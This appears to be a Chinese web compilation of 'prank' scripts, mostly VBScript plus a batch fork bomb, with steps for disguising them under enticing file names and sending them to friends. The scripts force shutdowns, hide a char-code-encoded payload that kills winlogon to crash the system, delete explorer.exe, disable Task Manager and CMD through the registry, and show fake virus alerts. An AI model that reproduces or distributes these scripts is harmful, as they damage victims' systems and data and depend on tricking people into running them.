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3、整人代码
手机QQ的整人代码大全
第一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个QQ炸弹,在30秒后会自动关机。
下面说一下使用方法:
最简单的使用方法是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
求大量VBS整人代码.
第一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了!!" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,",10,"闪亮登场",64 ws.popup"玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装,系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕,正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ,并在强行嵌入你的电脑",4132,"是否对其进行扫描?" msgbox"软件名:comcontroler.exe "vbcrlf""vbcrlf" 大小:1.21MB "vbcrlf""vbcrlf" 发行者:幻想丶永恒(403746401)"vbcrlf""vbcrlf" 安全状况:有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败,请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功!",vbinfmation,20 msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation ws.popup"哈哈,我已经控制了你的电脑!",12,"很高兴见到你",64 ws.popup"不信?我用你的电脑打开我的QQ空间给你看看",10 ws.run" " msgbox"警告:为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" " ws.popup"现在相信了吧?我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。否则引起系统混乱我可不负责!" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功,enjoy the best!" exit do else msgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57 ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名!"vbcrlf""vbcrlf"稍后将会给你意外的惊喜!! "vbcrlf""vbcrlf"不信你可以试试看!!!"vbcrlf""vbcrlf"最好是中文名···","芮洲提示:","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫:"a" ",vbYesNo + vbExclamation,"芮洲提示:") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名!"vbcrlf""vbcrlf"稍后将会给你意外的惊喜!! "vbcrlf""vbcrlf"不信你可以试试看!!!"vbcrlf""vbcrlf"最好是中文名···","芮洲提示:","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好!"vbcrlf""vbcrlf"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"vbcrlf""vbcrlf"下面以我为列 不同可以修改"vbcrlf""Chr(10)"格式为:1987-06-02","芮洲提示:","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小时 "n"分钟.....",vbOKCancel+63,"芮洲提示:") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的爱好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已经活了:"age"天 "h"小时 "n"分钟 """""",64,"""""""a"的自我介绍:""" auto.WriteLine"msgbox""""""亲爱的 "a " 再见了!"""""",48,""""""芮洲提示:""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小时 "n"分钟了" auto.WriteLine"时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。"
整人代码
代码如下:set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在" 60-i "秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,
此代码的威力:
1:开机就强制自动关机
2:cmd命令打不开
3:结束任务不管用
4:F8安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、
代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,
求一些好玩的整人代码?
.bat文件
【测试平台】32bit XP
【功能】让电脑死机
-----代码开始------
%0|%0
-----代码结束------
使用方法:
1、新建个文档【别告我你不会】
2、复制粘贴那段代码
3、保存为XXXXX.bat【XXXXX为随意名字,比如刷钻什么的,怎么诱惑怎么写】
4、运行【再次警告,该代码执行后无法通过任务管理器结束,只能重启或者等他死机然后重启】
【郑重警告!】
最好别拿自己电脑测试,否则后果自负,也别没看该警告就去举报我!由此代码造成的一切后果不承担一切责任!【被朋友打自负……😜】
【代码原理】
通过不停的调用cmd.exe造成系统资源消耗,理论CPU越好,资源消耗越快,死机越快。【双核笔记本实测2分钟之内准死机】